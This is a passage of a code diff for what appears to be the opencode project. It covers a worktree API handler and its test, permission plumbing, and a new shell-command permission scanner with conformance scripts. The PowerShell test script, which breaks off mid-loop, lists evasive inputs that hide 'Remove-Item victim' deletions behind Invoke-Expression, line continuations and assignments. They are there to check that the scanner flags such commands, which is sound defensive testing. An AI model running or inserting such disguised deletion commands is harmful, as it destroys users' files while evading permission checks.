expect(CoreSessionInbox.User).toBe(SessionInbox.User)
|
||||
expect(CoreSessionInbox.Synthetic).toBe(SessionInbox.Synthetic)
|
||||
|
||||
@@ -25,7 +25,7 @@ import { WebSearchHandler } from "./handlers/websearch"
|
||||
import { McpHandler } from "./handlers/mcp"
|
||||
import { CredentialHandler } from "./handlers/credential"
|
||||
import { ProjectHandler } from "./handlers/project"
|
||||
import { ProjectCopyHandler } from "./handlers/project-copy"
|
||||
import { WorktreeHandler } from "./handlers/worktree"
|
||||
import { VcsHandler } from "./handlers/vcs"
|
||||
import { EventFeed } from "./event-feed"
|
||||
import { MigrationHandler } from "./handlers/migration"
|
||||
@@ -59,7 +59,7 @@ export const handlers = Layer.mergeAll(
|
||||
ShellHandler,
|
||||
QuestionHandler,
|
||||
ReferenceHandler,
|
||||
ProjectCopyHandler,
|
||||
WorktreeHandler,
|
||||
VcsHandler,
|
||||
ConfigHandler,
|
||||
)
|
||||
|
||||
@@ -33,6 +33,7 @@ export const PermissionHandler = HttpApiBuilder.group(Api, "server.permission",
|
||||
action: ctx.payload.action,
|
||||
resources: ctx.payload.resources,
|
||||
save: ctx.payload.save,
|
||||
opaque: ctx.payload.opaque,
|
||||
metadata: ctx.payload.metadata,
|
||||
source: ctx.payload.source,
|
||||
agent: ctx.payload.agent,
|
||||
|
||||
@@ -1,68 +0,0 @@
|
||||
import { Location } from "@opencode-ai/core/location"
|
||||
import { ProjectCopy } from "@opencode-ai/core/project/copy"
|
||||
import { Git } from "@opencode-ai/core/git"
|
||||
import { Effect } from "effect"
|
||||
import { HttpApiBuilder, HttpApiSchema } from "effect/unstable/httpapi"
|
||||
import { Api } from "../api"
|
||||
import { ProjectCopyError } from "@opencode-ai/protocol/groups/project-copy"
|
||||
|
||||
export const ProjectCopyHandler = HttpApiBuilder.group(Api, "server.projectCopy", (handlers) =>
|
||||
Effect.succeed(
|
||||
handlers
|
||||
.handle("projectCopy.create", (ctx) =>
|
||||
Effect.gen(function* () {
|
||||
const copies = yield* ProjectCopy.Service
|
||||
const location = yield* Location.Service
|
||||
return yield* badRequest(
|
||||
copies.create({
|
||||
...ctx.payload,
|
||||
projectID: ctx.params.projectID,
|
||||
sourceDirectory: location.project.directory,
|
||||
}),
|
||||
)
|
||||
}),
|
||||
)
|
||||
.handle("projectCopy.remove", (ctx) =>
|
||||
ProjectCopy.Service.use((copies) =>
|
||||
badRequest(copies.remove({ ...ctx.payload, projectID: ctx.params.projectID })).pipe(
|
||||
Effect.as(HttpApiSchema.NoContent.make()),
|
||||
),
|
||||
),
|
||||
)
|
||||
.handle("projectCopy.refresh", (ctx) =>
|
||||
ProjectCopy.Service.use((copies) =>
|
||||
badRequest(copies.refresh({ projectID: ctx.params.projectID })).pipe(
|
||||
Effect.as(HttpApiSchema.NoContent.make()),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
)
|
||||
|
||||
function badRequest<A, R>(effect: Effect.Effect<A, ProjectCopy.Error, R>) {
|
||||
return effect.pipe(
|
||||
Effect.mapError(
|
||||
(error) =>
|
||||
new ProjectCopyError({
|
||||
name: "ProjectCopyError",
|
||||
data: {
|
||||
message: message(error),
|
||||
forceRequired: error instanceof Git.WorktreeError ? error.forceRequired : undefined,
|
||||
},
|
||||
}),
|
||||
),
|
||||
)
|
||||
}
|
||||
|
||||
function message(error: ProjectCopy.Error) {
|
||||
if (error instanceof ProjectCopy.SourceDirectoryNotFoundError)
|
||||
return `Project copy source not found: ${error.directory}`
|
||||
if (error instanceof ProjectCopy.DestinationExistsError)
|
||||
return `Project copy destination already exists: ${error.directory}`
|
||||
if (error instanceof ProjectCopy.DirectoryUnavailableError)
|
||||
return `Project copy directory unavailable: ${error.directory}`
|
||||
if (error instanceof ProjectCopy.InvalidDirectoryError) return `Invalid project copy directory: ${error.directory}`
|
||||
if (error instanceof ProjectCopy.StrategyUnavailableError)
|
||||
return `Project copy strategy unavailable: ${error.strategy}`
|
||||
return error.message
|
||||
}
|
||||
@@ -15,8 +15,5 @@ export const ProjectHandler = HttpApiBuilder.group(Api, "server.project", (handl
|
||||
canonical: location.project.canonical,
|
||||
}),
|
||||
),
|
||||
)
|
||||
.handle("project.directories", (ctx) =>
|
||||
Project.Service.use((project) => project.directories({ projectID: ctx.params.projectID })),
|
||||
),
|
||||
)
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
import { Git } from "@opencode-ai/core/git"
|
||||
import { Worktree } from "@opencode-ai/core/worktree"
|
||||
import { WorktreeError } from "@opencode-ai/protocol/groups/worktree"
|
||||
import { Effect } from "effect"
|
||||
import { HttpApiBuilder, HttpApiSchema } from "effect/unstable/httpapi"
|
||||
import { Api } from "../api"
|
||||
|
||||
export const WorktreeHandler = HttpApiBuilder.group(Api, "server.worktree", (handlers) =>
|
||||
Effect.gen(function* () {
|
||||
const worktrees = yield* Worktree.Service
|
||||
|
||||
return handlers
|
||||
.handle("worktree.list", (ctx) => worktrees.list(ctx.params.projectID))
|
||||
.handle("worktree.create", (ctx) =>
|
||||
badRequest(worktrees.create({ ...ctx.payload, projectID: ctx.params.projectID })),
|
||||
)
|
||||
.handle("worktree.remove", (ctx) =>
|
||||
badRequest(worktrees.remove({ ...ctx.payload, projectID: ctx.params.projectID })).pipe(
|
||||
Effect.as(HttpApiSchema.NoContent.make()),
|
||||
),
|
||||
)
|
||||
.handle("worktree.refresh", (ctx) =>
|
||||
badRequest(worktrees.refresh({ projectID: ctx.params.projectID })).pipe(
|
||||
Effect.as(HttpApiSchema.NoContent.make()),
|
||||
),
|
||||
)
|
||||
}),
|
||||
)
|
||||
|
||||
function badRequest<A, R>(effect: Effect.Effect<A, Worktree.Error, R>) {
|
||||
return effect.pipe(
|
||||
Effect.mapError(
|
||||
(error) =>
|
||||
new WorktreeError({
|
||||
name: "WorktreeError",
|
||||
data: {
|
||||
message: message(error),
|
||||
forceRequired: error instanceof Git.WorktreeError ? error.forceRequired : undefined,
|
||||
},
|
||||
}),
|
||||
),
|
||||
)
|
||||
}
|
||||
|
||||
function message(error: Worktree.Error) {
|
||||
if (error instanceof Worktree.SourceDirectoryNotFoundError)
|
||||
return error.directory
|
||||
? `Worktree source not found: ${error.directory}`
|
||||
: `Worktree source not found for project: ${error.projectID}`
|
||||
if (error instanceof Worktree.DestinationExistsError) return `Worktree destination already exists: ${error.directory}`
|
||||
if (error instanceof Worktree.DirectoryUnavailableError) return `Worktree directory unavailable: ${error.directory}`
|
||||
if (error instanceof Worktree.InvalidDirectoryError) return `Invalid worktree directory: ${error.directory}`
|
||||
if (error instanceof Worktree.StrategyUnavailableError) return `Worktree strategy unavailable: ${error.strategy}`
|
||||
return error.message
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import { PluginRuntime } from "@opencode-ai/core/plugin/runtime"
|
||||
import { SdkPlugins } from "@opencode-ai/core/plugin/sdk"
|
||||
import { WellKnown } from "@opencode-ai/core/wellknown"
|
||||
import { Workspace } from "@opencode-ai/core/workspace"
|
||||
import { Worktree } from "@opencode-ai/core/worktree"
|
||||
import { Watcher } from "@opencode-ai/core/filesystem/watcher"
|
||||
import { HttpRouter } from "effect/unstable/http"
|
||||
import { HttpApiBuilder } from "effect/unstable/httpapi"
|
||||
@@ -52,6 +53,7 @@ const applicationServiceNodes = [
|
||||
httpClient,
|
||||
Job.node,
|
||||
Project.node,
|
||||
Worktree.node,
|
||||
Session.node,
|
||||
SessionTransfer.node,
|
||||
PluginRuntime.providerNode,
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
import fs from "node:fs/promises"
|
||||
import path from "node:path"
|
||||
import { $ } from "bun"
|
||||
import { expect } from "bun:test"
|
||||
import { Effect } from "effect"
|
||||
import { HttpServer } from "effect/unstable/http"
|
||||
import { tmpdir } from "../../core/test/fixture/tmpdir"
|
||||
import { it } from "../../core/test/lib/effect"
|
||||
import { ServerProcess } from "../src/process"
|
||||
|
||||
it.live("lists, creates, and removes worktrees by project ID", () =>
|
||||
Effect.acquireUseRelease(
|
||||
Effect.promise(() => tmpdir("opencode-worktree-endpoint-")),
|
||||
(tmp) =>
|
||||
Effect.gen(function* () {
|
||||
const project = path.join(tmp.path, "project")
|
||||
const destination = path.join(tmp.path, "worktrees")
|
||||
yield* Effect.promise(() => fs.mkdir(project, { recursive: true }))
|
||||
yield* Effect.promise(() => $`git init`.cwd(project).quiet())
|
||||
yield* Effect.promise(() => $`git config user.email test@opencode.test`.cwd(project).quiet())
|
||||
yield* Effect.promise(() => $`git config user.name Test`.cwd(project).quiet())
|
||||
yield* Effect.promise(() => $`git commit --allow-empty -m root`.cwd(project).quiet())
|
||||
const server = yield* ServerProcess.start<never, never>({
|
||||
hostname: "127.0.0.1",
|
||||
port: 0,
|
||||
password: "secret",
|
||||
app: { version: "test-version" },
|
||||
database: { path: ":memory:" },
|
||||
config: { directory: path.join(tmp.path, "config") },
|
||||
fs: { filewatcher: false },
|
||||
})
|
||||
const base = HttpServer.formatAddress(server.address)
|
||||
const headers = { authorization: `Basic ${btoa("opencode:secret")}` }
|
||||
const location = new URL("/api/location", base)
|
||||
location.searchParams.set("location[directory]", project)
|
||||
const resolved = yield* Effect.promise(() => fetch(location, { headers }).then((response) => response.json()))
|
||||
if (!isRecord(resolved) || !isRecord(resolved.project) || typeof resolved.project.id !== "string")
|
||||
throw new Error("Expected resolved project")
|
||||
const url = new URL(`/api/experimental/project/${resolved.project.id}/worktree`, base)
|
||||
|
||||
const initial = yield* Effect.promise(() => fetch(url, { headers }).then((response) => response.json()))
|
||||
expect(initial).toEqual([{ directory: project }])
|
||||
|
||||
const created = yield* Effect.promise(() =>
|
||||
fetch(url, {
|
||||
method: "POST",
|
||||
headers: { ...headers, "content-type": "application/json" },
|
||||
body: JSON.stringify({ strategy: "git", directory: destination, name: "api" }),
|
||||
}).then((response) => response.json()),
|
||||
)
|
||||
expect(created).toEqual({ directory: path.join(destination, "api") })
|
||||
|
||||
const listed = yield* Effect.promise(() => fetch(url, { headers }).then((response) => response.json()))
|
||||
expect(listed).toContainEqual({ directory: path.join(destination, "api"), strategy: "git" })
|
||||
|
||||
const removed = yield* Effect.promise(() =>
|
||||
fetch(url, {
|
||||
method: "DELETE",
|
||||
headers: { ...headers, "content-type": "application/json" },
|
||||
body: JSON.stringify({ directory: path.join(destination, "api"), force: false }),
|
||||
}),
|
||||
)
|
||||
expect(removed.status).toBe(204)
|
||||
}),
|
||||
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]()),
|
||||
),
|
||||
)
|
||||
|
||||
function isRecord(value: unknown): value is Record<string, unknown> {
|
||||
return typeof value === "object" && value !== null && !Array.isArray(value)
|
||||
}
|
||||
@@ -296,9 +296,11 @@ export const LineCommentEditor = (props: LineCommentEditorProps) => {
|
||||
refs.textarea = el
|
||||
}}
|
||||
data-slot="line-comment-textarea"
|
||||
dir="auto"
|
||||
rows={split.rows ?? 3}
|
||||
placeholder={split.placeholder ?? i18n.t("ui.lineComment.placeholder")}
|
||||
value={split.value}
|
||||
style={{ "unicode-bidi": "plaintext", "text-align": "start" }}
|
||||
on:input={(e) => {
|
||||
const value = (e.currentTarget as HTMLTextAreaElement).value
|
||||
split.onInput(value)
|
||||
|
||||
@@ -154,6 +154,7 @@ export function PromptInputV2(props: PromptInputV2Props) {
|
||||
role="textbox"
|
||||
aria-multiline="true"
|
||||
aria-label={i18n.t("ui.promptInput.label")}
|
||||
dir={state.mode === "normal" ? "auto" : "ltr"}
|
||||
contenteditable={!props.disabled && !props.readOnly}
|
||||
autocapitalize={state.mode === "normal" ? "sentences" : "off"}
|
||||
autocorrect={state.mode === "normal" ? "on" : "off"}
|
||||
@@ -162,6 +163,10 @@ export function PromptInputV2(props: PromptInputV2Props) {
|
||||
autocomplete="off"
|
||||
class="relative z-10 block min-h-[60px] max-h-[180px] w-full overflow-y-auto whitespace-pre-wrap bg-transparent px-4 pt-4 pb-2 text-[13px] font-[440] leading-5 text-v2-text-text-base focus:outline-none empty:before:content-['\200B'] [&_[data-mention=file]]:text-syntax-property [&_[data-mention=agent]]:text-syntax-type [&_[data-mention=reference]]:text-syntax-keyword"
|
||||
classList={{ "font-mono!": state.mode === "shell", "opacity-50": props.disabled }}
|
||||
style={{
|
||||
"unicode-bidi": state.mode === "normal" ? "plaintext" : undefined,
|
||||
"text-align": "start",
|
||||
}}
|
||||
onInput={(event) => {
|
||||
const cursor = promptInputV2Cursor(event.currentTarget)
|
||||
const prompt = parsePromptInputV2Editor(event.currentTarget)
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"$schema": "https://json.schemastore.org/package.json",
|
||||
"name": "@opencode-ai/shell-scan",
|
||||
"version": "0.0.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": "./src/index.ts"
|
||||
},
|
||||
"scripts": {
|
||||
"research:execution": "bun run research/execution-oracle.ts",
|
||||
"research:powershell": "bun run research/powershell-conformance.ts",
|
||||
"test": "bun test --only-failures",
|
||||
"typecheck": "tsgo --noEmit"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
# Shell Permission Scanner Research
|
||||
|
||||
## Goal
|
||||
|
||||
Produce reusable permission resources only when every shell-language command position in supported Bash and PowerShell subsets is statically identified. Unsupported or malformed shell syntax must be opaque.
|
||||
|
||||
This scanner does not interpret command-specific argument languages. Source files, callbacks, plugins, package scripts, remote commands, and other executable behavior delegated through an allowed program remain part of that program's permission boundary.
|
||||
|
||||
## Conformance
|
||||
|
||||
```sh
|
||||
bun run research:execution
|
||||
PWSH=/path/to/pwsh bun run research:powershell
|
||||
```
|
||||
|
||||
The execution oracle runs generated programs against isolated fake executables under Bash and zsh, validating shell syntax and comparing actual dispatches with scanner command heads. The PowerShell oracle uses the official `System.Management.Automation.Language.Parser` through a development-only `pwsh` subprocess. Neither oracle is a runtime dependency.
|
||||
|
||||
## Supported subset
|
||||
|
||||
- Static command names and arguments
|
||||
- Single and double quotes
|
||||
- Backslash escapes and line continuation
|
||||
- `&&`, `||`, `;`, newline, `|`, and `|&`
|
||||
- Static assignment prefixes
|
||||
- Simple redirects
|
||||
- Comments
|
||||
- Recursive Bash `$()` and backtick command substitutions when every nested command is supported
|
||||
|
||||
## Opaque subset
|
||||
|
||||
- Bash process substitution and arithmetic expansion
|
||||
- PowerShell subexpressions, arrays, scriptblocks, and here strings
|
||||
- Heredocs and here strings
|
||||
- Dynamic command names
|
||||
- Shell evaluators and command wrappers
|
||||
- Commands that consume source, callbacks, scripts, or mutate command resolution
|
||||
- Context-dependent directory changes that cannot be resolved before execution
|
||||
- Compound and background commands
|
||||
- Malformed syntax
|
||||
|
||||
The TUI's independent tree-sitter grammar remains for syntax highlighting. Core has no tree-sitter runtime dependency.
|
||||
@@ -0,0 +1,320 @@
|
||||
import { chmodSync, mkdtempSync, mkdirSync, rmSync, symlinkSync } from "node:fs"
|
||||
import { tmpdir } from "node:os"
|
||||
import { join } from "node:path"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const shells = [
|
||||
{ name: "bash", path: "/opt/homebrew/bin/bash", args: ["--noprofile", "--norc"], strict: true },
|
||||
{ name: "bash-system", path: "/bin/bash", args: ["--noprofile", "--norc"], strict: false },
|
||||
{ name: "zsh", path: "/bin/zsh", args: ["-f"], strict: true },
|
||||
] as const
|
||||
|
||||
const commands = ["oracle_alpha", "oracle_beta", "oracle_gamma", "oracle_fail"] as const
|
||||
const successes = commands.slice(0, 3)
|
||||
const cases = new Map<string, Set<string>>()
|
||||
|
||||
function add(category: string, source: string) {
|
||||
const categories = cases.get(source) ?? new Set<string>()
|
||||
categories.add(category)
|
||||
cases.set(source, categories)
|
||||
}
|
||||
|
||||
const arguments_ = [
|
||||
"",
|
||||
" plain",
|
||||
" 'single ; | && # $(oracle_gamma)'",
|
||||
' "double ; | && #"',
|
||||
" escaped\\;separator",
|
||||
" hash#inside",
|
||||
" 'two words' tail",
|
||||
' "dollar $HOME"',
|
||||
" backslash\\ space",
|
||||
] as const
|
||||
const assignments = ["", "X=plain ", "X='two words' ", 'X="two words" '] as const
|
||||
const redirects = ["", " > output", " 2> error", " < empty"] as const
|
||||
|
||||
for (const command of commands) {
|
||||
for (const assignment of assignments) {
|
||||
for (const argument of arguments_) {
|
||||
for (const redirect of redirects) add("simple", assignment + command + argument + redirect)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] as const
|
||||
for (const left of commands) {
|
||||
for (const separator of separators) {
|
||||
for (const right of successes) add("separator", left + separator + right + " final")
|
||||
}
|
||||
}
|
||||
|
||||
const substitutions = [
|
||||
(outer: string, inner: string) => `${outer} $(${inner})`,
|
||||
(outer: string, inner: string) => `${outer} "$(${inner})"`,
|
||||
(outer: string, inner: string) => `${outer} pre$(${inner})post`,
|
||||
(outer: string, inner: string) => `X=$(${inner}) ${outer}`,
|
||||
(outer: string, inner: string) => `${outer} >$(${inner})`,
|
||||
(outer: string, inner: string) => `${outer} \`${inner}\``,
|
||||
(outer: string, inner: string) => `${outer} "$(${inner} "$(oracle_gamma)")"`,
|
||||
(outer: string, inner: string) => `${outer} "$(${inner} one; oracle_gamma two)"`,
|
||||
] as const
|
||||
for (const outer of successes) {
|
||||
for (const inner of commands) {
|
||||
for (const substitution of substitutions) add("substitution", substitution(outer, inner))
|
||||
}
|
||||
}
|
||||
|
||||
for (const command of successes) {
|
||||
add("comment", `${command} before # oracle_fail ignored\noracle_beta after`)
|
||||
add("comment", `# ${command} ignored\noracle_beta after`)
|
||||
add("comment", `${command} hash#word # oracle_fail ignored`)
|
||||
add("continuation", `${command} before\\\nafter`)
|
||||
add("continuation", `${command} before \\\n after ; oracle_beta`)
|
||||
add("quote", `'${command}' quoted-head`)
|
||||
add("quote", `"${command}" quoted-head`)
|
||||
add("quote", `${command.slice(0, 7)}\\${command.slice(7)} escaped-head`)
|
||||
}
|
||||
|
||||
add("conditional", "oracle_fail || oracle_alpha recovered")
|
||||
add("conditional", "oracle_fail && oracle_alpha unreachable")
|
||||
add("conditional", "oracle_alpha || oracle_fail unreachable")
|
||||
add("conditional", "oracle_alpha && oracle_beta reached")
|
||||
add("dynamic", "NAME=oracle_alpha; $NAME dynamic-head")
|
||||
add("dynamic", "oracle_alpha $(NAME=oracle_beta; $NAME nested-dynamic)")
|
||||
add("literal", "oracle_alpha '$(oracle_fail)' 'literal ` text'")
|
||||
|
||||
let randomState = 0x5eed1234
|
||||
const random = (length: number) => {
|
||||
randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
|
||||
return randomState % length
|
||||
}
|
||||
const atoms = [
|
||||
...commands,
|
||||
...successes.map((command) => `${command} plain`),
|
||||
...successes.map((command) => `${command} 'literal ; | #'`),
|
||||
...successes.map((command) => `${command} \"literal ; | #\"`),
|
||||
...successes.map((command) => `X=value ${command}`),
|
||||
] as const
|
||||
for (let iteration = 0; iteration < 2_500; iteration++) {
|
||||
const left = `${atoms[random(atoms.length)]} fuzz${iteration}`
|
||||
const right = `${atoms[random(atoms.length)]} fuzz${iteration}`
|
||||
const nested = successes[random(successes.length)]
|
||||
const forms = [
|
||||
`${left}${separators[random(separators.length)]}${right}`,
|
||||
`${left} $(${right})`,
|
||||
`${left} \"$(${right})\"`,
|
||||
`${left} pre$(${right})post`,
|
||||
`X=$(${right}) ${left}`,
|
||||
`${left} $(${right}; ${nested})`,
|
||||
`${left} before # ignored\n${right}`,
|
||||
`${left} before\\\nafter; ${right}`,
|
||||
]
|
||||
add("deterministic-random", forms[iteration % forms.length])
|
||||
}
|
||||
|
||||
const executionCases = [...cases].map(([source, categories], caseIndex) => {
|
||||
let occurrence = 0
|
||||
const names: string[] = []
|
||||
const unique = source.replace(/\boracle_(\\?)(?:alpha|beta|gamma|fail)\b/g, (_, escaped: string) => {
|
||||
const name = `oracle_${caseIndex}_${occurrence++}`
|
||||
names.push(name)
|
||||
if (!escaped) return name
|
||||
return name.slice(0, -1) + "\\" + name.at(-1)
|
||||
})
|
||||
return { source: unique, categories, names }
|
||||
})
|
||||
|
||||
const root = mkdtempSync(join(tmpdir(), "shell-scan-execution-oracle-"))
|
||||
const bin = join(root, "bin")
|
||||
const work = join(root, "work")
|
||||
const log = join(root, "dispatch.log")
|
||||
mkdirSync(bin)
|
||||
mkdirSync(work)
|
||||
await Bun.write(join(work, "empty"), "")
|
||||
await Bun.write(
|
||||
join(bin, "oracle-command"),
|
||||
`#!/bin/sh
|
||||
name=\${0##*/}
|
||||
printf '%s\\n' "$name" >> "$ORACLE_LOG"
|
||||
printf '%s\\n' "$name"
|
||||
[ "$ORACLE_MODE" = failure ] && exit 1
|
||||
`,
|
||||
)
|
||||
chmodSync(join(bin, "oracle-command"), 0o755)
|
||||
for (const name of executionCases.flatMap((item) => item.names)) symlinkSync("oracle-command", join(bin, name))
|
||||
|
||||
type Finding = {
|
||||
shell: string
|
||||
categories: string[]
|
||||
source: string
|
||||
dispatched: string[]
|
||||
scanned: string[]
|
||||
missing: string[]
|
||||
status: number
|
||||
stderr: string
|
||||
reason: "dispatch" | "parse"
|
||||
}
|
||||
|
||||
const findings: Finding[] = []
|
||||
const metrics = Object.fromEntries(
|
||||
shells.map((shell) => [shell.name, { executed: 0, parsed: 0, scanned: 0, opaque: 0, dispatches: 0, violations: 0 }]),
|
||||
)
|
||||
const coverage = Object.fromEntries(
|
||||
shells.flatMap((shell) =>
|
||||
[...new Set(executionCases.flatMap((item) => [...item.categories]))].map((category) => [
|
||||
`${shell.name}:${category}`,
|
||||
{ scanned: 0, dispatches: 0 },
|
||||
]),
|
||||
),
|
||||
)
|
||||
const versions = Object.fromEntries(
|
||||
shells.map((shell) => {
|
||||
const version = Bun.spawnSync([shell.path, "--version"], { stdout: "pipe", stderr: "pipe" })
|
||||
return [shell.name, (version.stdout.toString() || version.stderr.toString()).split("\n")[0]?.trim()]
|
||||
}),
|
||||
)
|
||||
|
||||
try {
|
||||
for (const shell of shells) {
|
||||
for (const { source, categories } of executionCases) {
|
||||
const result = ShellScan.scan(source)
|
||||
const metric = metrics[shell.name]
|
||||
metric.executed++
|
||||
const parsed = Bun.spawnSync([shell.path, ...shell.args, "-n", "-c", source], {
|
||||
cwd: work,
|
||||
env: { HOME: root, PATH: bin, ZDOTDIR: root },
|
||||
stdin: "ignore",
|
||||
stdout: "ignore",
|
||||
stderr: "pipe",
|
||||
})
|
||||
if (parsed.exitCode === 0) metric.parsed++
|
||||
if (result.kind === "scanned" && parsed.exitCode !== 0 && shell.strict) {
|
||||
metric.violations++
|
||||
findings.push({
|
||||
shell: shell.name,
|
||||
categories: [...categories],
|
||||
source,
|
||||
dispatched: [],
|
||||
scanned: result.commands.map((command) => command.words[0] ?? ""),
|
||||
missing: [],
|
||||
status: parsed.exitCode,
|
||||
stderr: parsed.stderr.toString().trim(),
|
||||
reason: "parse",
|
||||
})
|
||||
continue
|
||||
}
|
||||
if (parsed.exitCode !== 0) continue
|
||||
if (result.kind === "opaque") {
|
||||
metric.opaque++
|
||||
continue
|
||||
}
|
||||
metric.scanned++
|
||||
const dispatched = new Set<string>()
|
||||
let status = 0
|
||||
let stderr = ""
|
||||
for (const mode of ["success", "failure"]) {
|
||||
await Bun.write(log, "")
|
||||
const execution = Bun.spawnSync([shell.path, ...shell.args, "-c", source], {
|
||||
cwd: work,
|
||||
env: { HOME: root, PATH: bin, ORACLE_LOG: log, ORACLE_MODE: mode, ZDOTDIR: root },
|
||||
stdin: "ignore",
|
||||
stdout: "ignore",
|
||||
stderr: "pipe",
|
||||
})
|
||||
status = execution.exitCode
|
||||
stderr = execution.stderr.toString().trim()
|
||||
if (execution.exitCode === 127 || /command not found|not found/i.test(execution.stderr.toString())) {
|
||||
metric.violations++
|
||||
findings.push({
|
||||
shell: shell.name,
|
||||
categories: [...categories],
|
||||
source,
|
||||
dispatched: [...dispatched],
|
||||
scanned: result.commands.map((command) => command.words[0] ?? ""),
|
||||
missing: [],
|
||||
status: execution.exitCode,
|
||||
stderr: execution.stderr.toString().trim(),
|
||||
reason: "dispatch",
|
||||
})
|
||||
}
|
||||
for (const name of (await Bun.file(log).text()).split("\n").filter(Boolean)) dispatched.add(name)
|
||||
}
|
||||
metric.dispatches += dispatched.size
|
||||
for (const category of categories) {
|
||||
coverage[`${shell.name}:${category}`].scanned++
|
||||
coverage[`${shell.name}:${category}`].dispatches += dispatched.size
|
||||
}
|
||||
const remaining = new Set(result.commands.map((command) => command.words[0] ?? ""))
|
||||
const missing = [...dispatched].filter((name) => {
|
||||
return !remaining.has(name)
|
||||
})
|
||||
if (!missing.length) continue
|
||||
metric.violations++
|
||||
findings.push({
|
||||
shell: shell.name,
|
||||
categories: [...categories],
|
||||
source,
|
||||
dispatched: [...dispatched],
|
||||
scanned: result.commands.map((command) => command.words[0] ?? ""),
|
||||
missing,
|
||||
status,
|
||||
stderr,
|
||||
reason: "dispatch",
|
||||
})
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
for (const shell of shells) {
|
||||
const metric = metrics[shell.name]
|
||||
if (metric.scanned < 2_000 || metric.dispatches < 4_000) {
|
||||
throw new Error(
|
||||
`${shell.name} coverage fell below floor: ${metric.scanned} scanned, ${metric.dispatches} dispatches`,
|
||||
)
|
||||
}
|
||||
for (const category of [
|
||||
"simple",
|
||||
"separator",
|
||||
"substitution",
|
||||
"comment",
|
||||
"continuation",
|
||||
"conditional",
|
||||
"literal",
|
||||
"deterministic-random",
|
||||
]) {
|
||||
const item = coverage[`${shell.name}:${category}`]
|
||||
if (!item || item.scanned === 0 || item.dispatches === 0)
|
||||
throw new Error(`${shell.name}:${category} has no scanned dispatch coverage`)
|
||||
}
|
||||
}
|
||||
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{
|
||||
schema: 1,
|
||||
invariant: "For scanned results, every uniquely named fake-executable dispatch appears in scanned command heads.",
|
||||
generated: executionCases.length,
|
||||
categories: Object.fromEntries(
|
||||
[...new Set([...cases.values()].flatMap((categories) => [...categories]))].map((category) => [
|
||||
category,
|
||||
[...cases.values()].filter((categories) => categories.has(category)).length,
|
||||
]),
|
||||
),
|
||||
shells: shells.map((shell) => ({
|
||||
name: shell.name,
|
||||
path: shell.path,
|
||||
version: versions[shell.name],
|
||||
strictSyntax: shell.strict,
|
||||
metrics: metrics[shell.name],
|
||||
})),
|
||||
coverage,
|
||||
findings,
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
)
|
||||
|
||||
if (findings.length) process.exitCode = 1
|
||||
@@ -0,0 +1,155 @@
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const pwsh = process.env.PWSH ?? Bun.which("pwsh")
|
||||
if (!pwsh) {
|
||||
console.error("Set PWSH to a PowerShell executable")
|
||||
process.exit(2)
|
||||
}
|
||||
const versionProcess = Bun.spawnSync(
|
||||
[pwsh, "-NoProfile", "-NonInteractive", "-Command", "$PSVersionTable.PSVersion.Major"],
|
||||
{ stdout: "pipe", stderr: "pipe" },
|
||||
)
|
||||
const oracleMajor = Number(versionProcess.stdout.toString().trim())
|
||||
if (versionProcess.exitCode !== 0 || !Number.isInteger(oracleMajor) || oracleMajor < 5)
|
||||
throw new Error(`PowerShell 5 or newer required: ${versionProcess.stderr.toString().trim()}`)
|
||||
|
||||
const commands = ["Get-ChildItem", "Write-Output", "Remove-Item", "Test-Path"] as const
|
||||
const arguments_ = ["", " value", " 'single ; | # text'", ' "double ; | # text"', " foo`;bar"] as const
|
||||
const separators = [";", "|", ...(oracleMajor >= 7 ? ["&&", "||"] : []), "\n", "\r", "\r\n"] as const
|
||||
const sources = new Set<string>()
|
||||
|
||||
for (const command of commands) {
|
||||
for (const argument of arguments_) sources.add(command + argument)
|
||||
}
|
||||
for (const left of commands) {
|
||||
for (const separator of separators) {
|
||||
for (const right of commands) sources.add(`${left} left${separator}${right} right`)
|
||||
}
|
||||
}
|
||||
for (const command of commands) {
|
||||
sources.add(`# comment\n${command}`)
|
||||
sources.add(`# comment\r${command}`)
|
||||
sources.add(`# comment\r\n${command}`)
|
||||
sources.add(`${command} before # ignored\nWrite-Output after`)
|
||||
sources.add(`${command} before # ignored\rWrite-Output after`)
|
||||
sources.add(`${command} before # ignored\r\nWrite-Output after`)
|
||||
sources.add(`${command} one > output.txt`)
|
||||
sources.add(`${command} one 2>&1`)
|
||||
sources.add(`${command} one\n\nWrite-Output two`)
|
||||
}
|
||||
|
||||
const unsupported = [
|
||||
"$Command value",
|
||||
"& $Command value",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"return Remove-Item victim",
|
||||
"throw Get-ChildItem",
|
||||
"[string]$x = Remove-Item victim",
|
||||
"Invoke-`\nExpression 'Remove-Item victim'",
|
||||
"<# comment #> Remove-Item victim",
|
||||
"#Requires -Modules Evil\nWrite-Output ok",
|
||||
] as const
|
||||
for (const source of unsupported) sources.add(source)
|
||||
const malformed = ['Write-Output "unterminated', "Get-ChildItem |", "Write-Output ok`", "Get-ChildItem &&"] as const
|
||||
for (const source of malformed) sources.add(source)
|
||||
|
||||
let randomState = 0x50a7e11
|
||||
const random = (length: number) => {
|
||||
randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
|
||||
return randomState % length
|
||||
}
|
||||
for (let iteration = 0; iteration < 2_500; iteration++) {
|
||||
const left = commands[random(commands.length)]
|
||||
const right = commands[random(commands.length)]
|
||||
const separator = separators[random(separators.length)]
|
||||
const argument = arguments_[random(arguments_.length)]
